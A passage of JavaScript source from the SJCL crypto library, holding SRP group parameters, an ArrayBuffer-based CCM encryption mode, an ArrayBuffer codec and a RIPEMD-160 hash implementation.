                "8E495C1D6089DAD15DC7D7B46154D6B6CE8EF4AD69B15D4982559B29" +
                "7BCF1885C529F566660E57EC68EDBC3C05726CC02FD4CBF4976EAA9A" +
                "FD5138FE8376435B9FC61D2FC0EB06E3",
            g: 2
        },

        1536: {
            N: "9DEF3CAFB939277AB1F12A8617A47BBBDBA51DF499AC4C80BEEEA961" +
                "4B19CC4D5F4F5F556E27CBDE51C6A94BE4607A291558903BA0D0F843" +
                "80B655BB9A22E8DCDF028A7CEC67F0D08134B1C8B97989149B609E0B" +
                "E3BAB63D47548381DBC5B1FC764E3F4B53DD9DA1158BFD3E2B9C8CF5" +
                "6EDF019539349627DB2FD53D24B7C48665772E437D6C7F8CE442734A" +
                "F7CCB7AE837C264AE3A9BEB87F8A2FE9B8B5292E5A021FFF5E91479E" +
                "8CE7A28C2442C6F315180F93499A234DCF76E3FED135F9BB",
            g: 2
        },

        2048: {
            N: "AC6BDB41324A9A9BF166DE5E1389582FAF72B6651987EE07FC319294" +
                "3DB56050A37329CBB4A099ED8193E0757767A13DD52312AB4B03310D" +
                "CD7F48A9DA04FD50E8083969EDB767B0CF6095179A163AB3661A05FB" +
                "D5FAAAE82918A9962F0B93B855F97993EC975EEAA80D740ADBF4FF74" +
                "7359D041D5C33EA71D281E446B14773BCA97B43A23FB801676BD207A" +
                "436C6481F1D2B9078717461A5B9D32E688F87748544523B524B0D57D" +
                "5EA77A2775D2ECFA032CFBDBF52FB3786160279004E57AE6AF874E73" +
                "03CE53299CCC041C7BC308D82A5698F3A8D0C38271AE35F8E9DBFBB6" +
                "94B5C803D89F7AE435DE236D525F54759B65E372FCD68EF20FA7111F" +
                "9E4AFF73",
            g: 2
        },

        3072: {
            N: "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E08" +
                "8A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B" +
                "302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9" +
                "A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE6" +
                "49286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8" +
                "FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D" +
                "670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C" +
                "180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF695581718" +
                "3995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D" +
                "04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7D" +
                "B3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D226" +
                "1AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200C" +
                "BBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFC" +
                "E0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF",
            g: 5
        },

        4096: {
            N: "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E08" +
                "8A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B" +
                "302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9" +
                "A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE6" +
                "49286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8" +
                "FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D" +
                "670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C" +
                "180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF695581718" +
                "3995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D" +
                "04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7D" +
                "B3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D226" +
                "1AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200C" +
                "BBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFC" +
                "E0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B26" +
                "99C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB" +
                "04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2" +
                "233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127" +
                "D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199" +
                "FFFFFFFFFFFFFFFF",
            g: 5
        },

        6144: {
            N: "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E08" +
                "8A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B" +
                "302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9" +
                "A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE6" +
                "49286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8" +
                "FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D" +
                "670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C" +
                "180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF695581718" +
                "3995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D" +
                "04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7D" +
                "B3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D226" +
                "1AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200C" +
                "BBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFC" +
                "E0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B26" +
                "99C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB" +
                "04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2" +
                "233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127" +
                "D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934028492" +
                "36C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406" +
                "AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918" +
                "DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B33205151" +
                "2BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03" +
                "F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97F" +
                "BEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AA" +
                "CC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58B" +
                "B7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632" +
                "387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E" +
                "6DCC4024FFFFFFFFFFFFFFFF",
            g: 5
        },

        8192: {
            N: "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E08" +
                "8A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B" +
                "302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9" +
                "A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE6" +
                "49286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8" +
                "FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D" +
                "670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C" +
                "180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF695581718" +
                "3995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D" +
                "04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7D" +
                "B3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D226" +
                "1AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200C" +
                "BBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFC" +
                "E0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B26" +
                "99C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB" +
                "04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2" +
                "233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127" +
                "D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934028492" +
                "36C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406" +
                "AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918" +
                "DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B33205151" +
                "2BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03" +
                "F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97F" +
                "BEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AA" +
                "CC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58B" +
                "B7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632" +
                "387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E" +
                "6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA" +
                "3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C" +
                "5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD9" +
                "22222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC886" +
                "2F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A6" +
                "6D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC5" +
                "0846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268" +
                "359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6" +
                "FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E71" +
                "60C980DD98EDD3DFFFFFFFFFFFFFFFFF",
            g: 19
        }
    }

};
/** @fileOverview Really fast & small implementation of CCM using JS' array buffers
 *
 * @author Marco Munizaga
 */

/**
 * CTR mode with CBC MAC.
 * @namespace
 */
sjcl.arrayBuffer = sjcl.arrayBuffer || {};

//patch arraybuffers if they don't exist
if (typeof (ArrayBuffer) === 'undefined') {
    (function (globals) {
        "use strict";
        globals.ArrayBuffer = function () {};
        globals.DataView = function () {};
    }(this));
}


sjcl.arrayBuffer.ccm = {
    mode: "ccm",

    defaults: {
        tlen: 128 //this is M in the NIST paper
    },

    /** Encrypt in CCM mode. Meant to return the same exact thing as the bitArray ccm to work as a drop in replacement
     * @static
     * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes.
     * @param {bitArray} plaintext The plaintext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} [adata=[]] The authenticated data.
     * @param {Number} [tlen=64] the desired tag length, in bits.
     * @return {bitArray} The encrypted data, an array of bytes.
     */
    compat_encrypt: function (prf, plaintext, iv, adata, tlen) {
        var plaintext_buffer = sjcl.codec.arrayBuffer.fromBits(plaintext, true, 16),
            ol = sjcl.bitArray.bitLength(plaintext) / 8,
            encrypted_obj,
            ct,
            tag;

        tlen = tlen || 64;
        adata = adata || [];

        encrypted_obj = sjcl.arrayBuffer.ccm.encrypt(prf, plaintext_buffer, iv, adata, tlen, ol);
        ct = sjcl.codec.arrayBuffer.toBits(encrypted_obj.ciphertext_buffer);

        ct = sjcl.bitArray.clamp(ct, ol * 8);


        return sjcl.bitArray.concat(ct, encrypted_obj.tag);
    },

    /** Decrypt in CCM mode. Meant to imitate the bitArray ccm 
     * @static
     * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes.
     * @param {bitArray} ciphertext The ciphertext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} [adata=[]] adata The authenticated data.
     * @param {Number} [tlen=64] tlen the desired tag length, in bits.
     * @return {bitArray} The decrypted data.
     */
    compat_decrypt: function (prf, ciphertext, iv, adata, tlen) {
        tlen = tlen || 64;
        adata = adata || [];
        var L, i,
            w = sjcl.bitArray,
            ol = w.bitLength(ciphertext),
            out = w.clamp(ciphertext, ol - tlen),
            tag = w.bitSlice(ciphertext, ol - tlen),
            tag2,
            ciphertext_buffer = sjcl.codec.arrayBuffer.fromBits(out, true, 16);

        var plaintext_buffer = sjcl.arrayBuffer.ccm.decrypt(prf, ciphertext_buffer, iv, tag, adata, tlen, (ol - tlen) / 8);
        return sjcl.bitArray.clamp(sjcl.codec.arrayBuffer.toBits(plaintext_buffer), ol - tlen);

    },

    /** Really fast ccm encryption, uses arraybufer and mutates the plaintext buffer
     * @static
     * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes. 
     * @param {ArrayBuffer} plaintext_buffer The plaintext data.
     * @param {bitArray} iv The initialization value.
     * @param {ArrayBuffer} [adata=[]] The authenticated data.
     * @param {Number} [tlen=128] the desired tag length, in bits.
     * @return {ArrayBuffer} The encrypted data, in the same array buffer as the given plaintext, but given back anyways
     */
    encrypt: function (prf, plaintext_buffer, iv, adata, tlen, ol) {
        var auth_blocks, mac, L, w = sjcl.bitArray,
            ivl = w.bitLength(iv) / 8;

        //set up defaults
        adata = adata || [];
        tlen = tlen || sjcl.arrayBuffer.ccm.defaults.tlen;
        ol = ol || plaintext_buffer.byteLength;
        tlen = Math.ceil(tlen / 8);

        for (L = 2; L < 4 && ol >>> 8 * L; L++) {}
        if (L < 15 - ivl) {
            L = 15 - ivl;
        }
        iv = w.clamp(iv, 8 * (15 - L));

        //prf should use a 256 bit key to make precomputation attacks infeasible

        mac = sjcl.arrayBuffer.ccm._computeTag(prf, plaintext_buffer, iv, adata, tlen, ol, L);

        //encrypt the plaintext and the mac 
        //returns the mac since the plaintext will be left encrypted inside the buffer
        mac = sjcl.arrayBuffer.ccm._ctrMode(prf, plaintext_buffer, iv, mac, tlen, L);


        //the plaintext_buffer has been modified so it is now the ciphertext_buffer
        return {
            'ciphertext_buffer': plaintext_buffer,
            'tag': mac
        };
    },

    /** Really fast ccm decryption, uses arraybufer and mutates the given buffer
     * @static
     * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes. 
     * @param {ArrayBuffer} ciphertext_buffer The Ciphertext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} The authentication tag for the ciphertext
     * @param {ArrayBuffer} [adata=[]] The authenticated data.
     * @param {Number} [tlen=128] the desired tag length, in bits.
     * @return {ArrayBuffer} The decrypted data, in the same array buffer as the given buffer, but given back anyways
     */
    decrypt: function (prf, ciphertext_buffer, iv, tag, adata, tlen, ol) {
        var mac, mac2, i, L, w = sjcl.bitArray,
            ivl = w.bitLength(iv) / 8;

        //set up defaults
        adata = adata || [];
        tlen = tlen || sjcl.arrayBuffer.ccm.defaults.tlen;
        ol = ol || ciphertext_buffer.byteLength;
        tlen = Math.ceil(tlen / 8);

        for (L = 2; L < 4 && ol >>> 8 * L; L++) {}
        if (L < 15 - ivl) {
            L = 15 - ivl;
        }
        iv = w.clamp(iv, 8 * (15 - L));

        //prf should use a 256 bit key to make precomputation attacks infeasible

        //decrypt the buffer
        mac = sjcl.arrayBuffer.ccm._ctrMode(prf, ciphertext_buffer, iv, tag, tlen, L);

        mac2 = sjcl.arrayBuffer.ccm._computeTag(prf, ciphertext_buffer, iv, adata, tlen, ol, L);

        //check the tag
        if (!sjcl.bitArray.equal(mac, mac2)) {
            throw new sjcl.exception.corrupt("ccm: tag doesn't match");
        }

        return ciphertext_buffer;

    },

    /* Compute the (unencrypted) authentication tag, according to the CCM specification
     * @param {Object} prf The pseudorandom function.
     * @param {ArrayBuffer} data_buffer The plaintext data in an arraybuffer.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} adata The authenticated data.
     * @param {Number} tlen the desired tag length, in bits.
     * @return {bitArray} The tag, but not yet encrypted.
     * @private
     */
    _computeTag: function (prf, data_buffer, iv, adata, tlen, ol, L) {
        var i, plaintext, mac, data, data_blocks_size, data_blocks,
            w = sjcl.bitArray,
            tmp, macData;

        mac = sjcl.mode.ccm._macAdditionalData(prf, adata, iv, tlen, ol, L);

        if (data_buffer.byteLength !== 0) {
            data = new DataView(data_buffer);
            //set padding bytes to 0
            for (i = ol; i < data_buffer.byteLength; i++) {
                data.setUint8(i, 0);
            }

            //now to mac the plaintext blocks
            for (i = 0; i < data.byteLength; i += 16) {
                mac[0] ^= data.getUint32(i);
                mac[1] ^= data.getUint32(i + 4);
                mac[2] ^= data.getUint32(i + 8);
                mac[3] ^= data.getUint32(i + 12);

                mac = prf.encrypt(mac);
            }
        }

        return sjcl.bitArray.clamp(mac, tlen * 8);
    },

    /** CCM CTR mode.
     * Encrypt or decrypt data and tag with the prf in CCM-style CTR mode.
     * Mutates given array buffer
     * @param {Object} prf The PRF.
     * @param {ArrayBuffer} data_buffer The data to be encrypted or decrypted.
     * @param {bitArray} iv The initialization vector.
     * @param {bitArray} tag The authentication tag.
     * @param {Number} tlen The length of th etag, in bits.
     * @return {Object} An object with data and tag, the en/decryption of data and tag values.
     * @private
     */
    _ctrMode: function (prf, data_buffer, iv, mac, tlen, L) {
        var data, ctr, word0, word1, word2, word3, keyblock, i, w = sjcl.bitArray,
            xor = w._xor4,
            n = data_buffer.byteLength / 50,
            p = n;

        ctr = new DataView(new ArrayBuffer(16)); //create the first block for the counter

        //prf should use a 256 bit key to make precomputation attacks infeasible

        // start the ctr
        ctr = w.concat([w.partial(8, L - 1)], iv).concat([0, 0, 0]).slice(0, 4);

        // en/decrypt the tag
        mac = w.bitSlice(xor(mac, prf.encrypt(ctr)), 0, tlen * 8);

        ctr[3]++;
        if (ctr[3] === 0) ctr[2]++; //increment higher bytes if the lowest 4 bytes are 0

        if (data_buffer.byteLength !== 0) {
            data = new DataView(data_buffer);
            //now lets encrypt the message
            for (i = 0; i < data.byteLength; i += 16) {
                if (i > n) {
                    sjcl.mode.ccm._callProgressListener(i / data_buffer.byteLength);
                    n += p;
                }
                keyblock = prf.encrypt(ctr);

                word0 = data.getUint32(i);
                word1 = data.getUint32(i + 4);
                word2 = data.getUint32(i + 8);
                word3 = data.getUint32(i + 12);

                data.setUint32(i, word0 ^ keyblock[0]);
                data.setUint32(i + 4, word1 ^ keyblock[1]);
                data.setUint32(i + 8, word2 ^ keyblock[2]);
                data.setUint32(i + 12, word3 ^ keyblock[3]);

                ctr[3]++;
                if (ctr[3] === 0) ctr[2]++; //increment higher bytes if the lowest 4 bytes are 0
            }
        }

        //return the mac, the ciphered data is available through the same data_buffer that was given
        return mac;
    }

};
/** @fileOverview Bit array codec implementations.
 *
 * @author Marco Munizaga
 */

//patch arraybuffers if they don't exist
if (typeof (ArrayBuffer) === 'undefined') {
    (function (globals) {
        "use strict";
        globals.ArrayBuffer = function () {};
        globals.DataView = function () {};
    }(this));
}

/**
 * ArrayBuffer
 * @namespace
 */
sjcl.codec.arrayBuffer = {
    /** Convert from a bitArray to an ArrayBuffer. 
     * Will default to 8byte padding if padding is undefined*/
    fromBits: function (arr, padding, padding_count) {
        var out, i, ol, tmp, smallest;
        padding = padding == undefined ? true : padding;
        padding_count = padding_count || 8;

        if (arr.length === 0) {
            return new ArrayBuffer(0);
        }

        ol = sjcl.bitArray.bitLength(arr) / 8;

        //check to make sure the bitLength is divisible by 8, if it isn't 
        //we can't do anything since arraybuffers work with bytes, not bits
        if (sjcl.bitArray.bitLength(arr) % 8 !== 0) {
            throw new sjcl.exception.invalid("Invalid bit size, must be divisble by 8 to fit in an arraybuffer correctly");
        }

        if (padding && ol % padding_count !== 0) {
            ol += padding_count - (ol % padding_count);
        }


        //padded temp for easy copying
        tmp = new DataView(new ArrayBuffer(arr.length * 4));
        for (i = 0; i < arr.length; i++) {
            tmp.setUint32(i * 4, (arr[i] << 32)); //get rid of the higher bits
        }

        //now copy the final message if we are not going to 0 pad
        out = new DataView(new ArrayBuffer(ol));

        //save a step when the tmp and out bytelength are ===
        if (out.byteLength === tmp.byteLength) {
            return tmp.buffer;
        }

        smallest = tmp.byteLength < out.byteLength ? tmp.byteLength : out.byteLength;
        for (i = 0; i < smallest; i++) {
            out.setUint8(i, tmp.getUint8(i));
        }


        return out.buffer;
    },

    toBits: function (buffer) {
        var i, out = [],
            len, inView, tmp;

        if (buffer.byteLength === 0) {
            return [];
        }

        inView = new DataView(buffer);
        len = inView.byteLength - inView.byteLength % 4;

        for (var i = 0; i < len; i += 4) {
            out.push(inView.getUint32(i));
        }

        if (inView.byteLength % 4 != 0) {
            tmp = new DataView(new ArrayBuffer(4));
            for (var i = 0, l = inView.byteLength % 4; i < l; i++) {
                //we want the data to the right, because partial slices off the starting bits
                tmp.setUint8(i + 4 - l, inView.getUint8(len + i)); // big-endian, 
            }
            out.push(
                sjcl.bitArray.partial((inView.byteLength % 4) * 8, tmp.getUint32(0))
            );
        }
        return out;
    },



    /** Prints a hex output of the buffer contents, akin to hexdump **/
    hexDumpBuffer: function (buffer) {
        var stringBufferView = new DataView(buffer);
        var string = '';
        var pad = function (n, width) {
            n = n + '';
            return n.length >= width ? n : new Array(width - n.length + 1).join('0') + n;
        };

        for (var i = 0; i < stringBufferView.byteLength; i += 2) {
            if (i % 16 == 0) string += ('\n' + (i).toString(16) + '\t');
            string += (pad(stringBufferView.getUint16(i).toString(16), 4) + ' ');
        }

        if (typeof console === undefined) {
            console = console || {
                log: function () {}
            }; //fix for IE
        }
        console.log(string.toUpperCase());
    }
};

/** @fileOverview Javascript RIPEMD-160 implementation.
 *
 * @author Artem S Vybornov <[email protected]>
 */
(function () {

    /**
     * Context for a RIPEMD-160 operation in progress.
     * @constructor
     */
    sjcl.hash.ripemd160 = function (hash) {
        if (hash) {
            this._h = hash._h.slice(0);
            this._buffer = hash._buffer.slice(0);
            this._length = hash._length;
        } else {
            this.reset();
        }
    };

    /**
     * Hash a string or an array of words.
     * @static
     * @param {bitArray|String} data the data to hash.
     * @return {bitArray} The hash value, an array of 5 big-endian words.
     */
    sjcl.hash.ripemd160.hash = function (data) {
        return (new sjcl.hash.ripemd160()).update(data).finalize();
    };

    sjcl.hash.ripemd160.prototype = {
        /**
         * Reset the hash state.
         * @return this
         */
        reset: function () {
            this._h = _h0.slice(0);
            this._buffer = [];
            this._length = 0;
            return this;
        },

        /**
         * Reset the hash state.
         * @param {bitArray|String} data the data to hash.
         * @return this
         */
        update: function (data) {
            if (typeof data === "string")
                data = sjcl.codec.utf8String.toBits(data);

            var i, b = this._buffer = sjcl.bitArray.concat(this._buffer, data),
                ol = this._length,
                nl = this._length = ol + sjcl.bitArray.bitLength(data);
            if (nl > 9007199254740991) {
                throw new sjcl.exception.invalid("Cannot hash more than 2^53 - 1 bits");
            }
            for (i = 512 + ol - ((512 + ol) & 511); i <= nl; i += 512) {
                var words = b.splice(0, 16);
                for (var w = 0; w < 16; ++w)
                    words[w] = _cvt(words[w]);

                _block.call(this, words);
            }

            return this;
        },

        /**
         * Complete hashing and output the hash value.
         * @return {bitArray} The hash value, an array of 5 big-endian words.
         */
        finalize: function () {
            var b = sjcl.bitArray.concat(this._buffer, [sjcl.bitArray.partial(1, 1)]),
                l = (this._length + 1) % 512,
                z = (l > 448 ? 512 : 448) - l % 448,
                zp = z % 32;

            if (zp > 0)
                b = sjcl.bitArray.concat(b, [sjcl.bitArray.partial(zp, 0)]);
            for (; z >= 32; z -= 32)
                b.push(0);

            b.push(_cvt(this._length | 0));
            b.push(_cvt(Math.floor(this._length / 0x100000000)));

            while (b.length) {
                var words = b.splice(0, 16);
                for (var w = 0; w < 16; ++w)
                    words[w] = _cvt(words[w]);

                _block.call(this, words);
            }

            var h = this._h;
            this.reset();

            for (var w = 0; w < 5; ++w)
                h[w] = _cvt(h[w]);

            return h;
        }
    };

    var _h0 = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0];

    var _k1 = [0x00000000, 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xa953fd4e];
    var _k2 = [0x50a28be6, 0x5c4dd124, 0x6d703ef3, 0x7a6d76e9, 0x00000000];
    for (var i = 4; i >= 0; --i) {
        for (var j = 1; j < 16; ++j) {
            _k1.splice(i, 0, _k1[i]);
            _k2.splice(i, 0, _k2[i]);
        }
    }

    var _r1 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
        7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8,
        3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12,
        1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2,
        4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13
    ];
    var _r2 = [5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12,
        6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2,
        15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13,
        8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14,
        12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11
    ];

    var _s1 = [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8,
        7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12,
        11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5,
        11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12,
        9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6
    ];
    var _s2 = [8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6,
        9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11,
        9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5,
        15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8,
        8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11
    ];

    function _f0(x, y, z) {
        return x ^ y ^ z;
    }

    function _f1(x, y, z) {
        return (x & y) | (~x & z);
    }

    function _f2(x, y, z) {
        return (x | ~y) ^ z;
    }

    function _f3(x, y, z) {
        return (x & z) | (y & ~z);
    }

    function _f4(x, y, z) {
        return x ^ (y | ~z);
    }

    function _rol(n, l) {
        return (n << l) | (n >>> (32 - l));
    }

    function _cvt(n) {
        return ((n & 0xff << 0) << 24) |
            ((n & 0xff << 8) << 8) |
            ((n & 0xff << 16) >>> 8) |
            ((n & 0xff << 24) >>> 24);
    }

    function _block(X) {
        var A1 = this._h[0],
            B1 = this._h[1],
            C1 = this._h[2],
            D1 = this._h[3],
            E1 = this._h[4],
            A2 = this._h[0],
            B2 = this._h[1],
            C2 = this._h[2],
            D2 = this._h[3],
            E2 = this._h[4];

        var j = 0,
            T;

        for (; j < 16; ++j) {
            T = _rol(A1 + _f0(B1, C1, D1) + X[_r1[j]] + _k1[j], _s1[j]) + E1;
            A1 = E1;
            E1 = D1;
            D1 = _rol(C1, 10);
            C1 = B1;
            B1 = T;
            T = _rol(A2 + _f4(B2, C2, D2) + X[_r2[j]] + _k2[j], _s2[j]) + E2;
            A2 = E2;
            E2 = D2;
            D2 = _rol(C2, 10);
            C2 = B2;
            B2 = T;
        }
        for (; j < 32; ++j) {
            T = _rol(A1 + _f1(B1, C1, D1) + X[_r1[j]] + _k1[j], _s1[j]) + E1;
            A1 = E1;
            E1 = D1;
            D1 = _rol(C1, 10);
            C1 = B1;
            B1 = T;
            T = _rol(A2 + _f3(B2, C2, D2) + X[_r2[j]] + _k2[j], _s2[j]) + E2;
            A2 = E2;
            E2 = D2;
            D2 = _rol(C2, 10);
            C2 = B2;
            B2 = T;
        }
        for (; j < 48; ++j) {
            T = _rol(A1 + _f2(B1, C1, D1) + X[_r1[j]] + _k1[j], _s1[j]) + E1;
            A1 = E1;
            E1 = D1;
            D1 = _rol(C1, 10);
            C1 = B1;
            B1 = T;
            T = _rol(A2 + _f2(B2, C2, D2) + X[_r2[j]] + _k2[j], _s2[j]) + E2;
            A2 = E2;
            E2 = D2;
            D2 = _rol(C2, 10);
            C2 = B2;
            B2 = T;
        }
        for (; j < 64; ++j) {
            T = _rol(A1 + _f3(B1, C1, D1) + X[_r1[j]] + _k1[j], _s1[j]) + E1;
            A1 = E1;
            E1 = D1;
            D1 = _rol(C1, 10);
            C1 = B1;
            B1 = T;
            T = _rol(A2 + _f1(B2, C2, D2) + X[_r2[j]] + _k2[j], _s2[j]) + E2;
            A2 = E2;
            E2 = D2;
            D2 = _rol(C2, 10);
            C2 = B2;
            B2 = T;
        }
        for (; j < 80; ++j) {
            T = _rol(A1 + _f4(B1, C1, D1) + X[_r1[j]] + _k1[j], _s1[j]) + E1;
            A1 = E1;
            E1 = D1;
            D1 = _rol(C1, 10);
            C1 = B1;
            B1 = T;
            T = _rol(A2 + _f0(B2, C2, D2) + X[_r2[j]] + _k2[j], _s2[j]) + E2;
            A2 = E2;
            E2 = D2;
            D2 = _rol(C2, 10);
            C2 = B2;
            B2 = T;
        }

        T = this._h[1] + C1 + D2;
        this._h[1] = this._h[2] + D1 + E2;
        this._h[2] = this._h[3] + E1 + A2;
        this._h[3] = this._h[4] + A1 + B2;
        this._h[4] = this._h[0] + B1 + C2;
        this._h[0] = T;
    }

})();
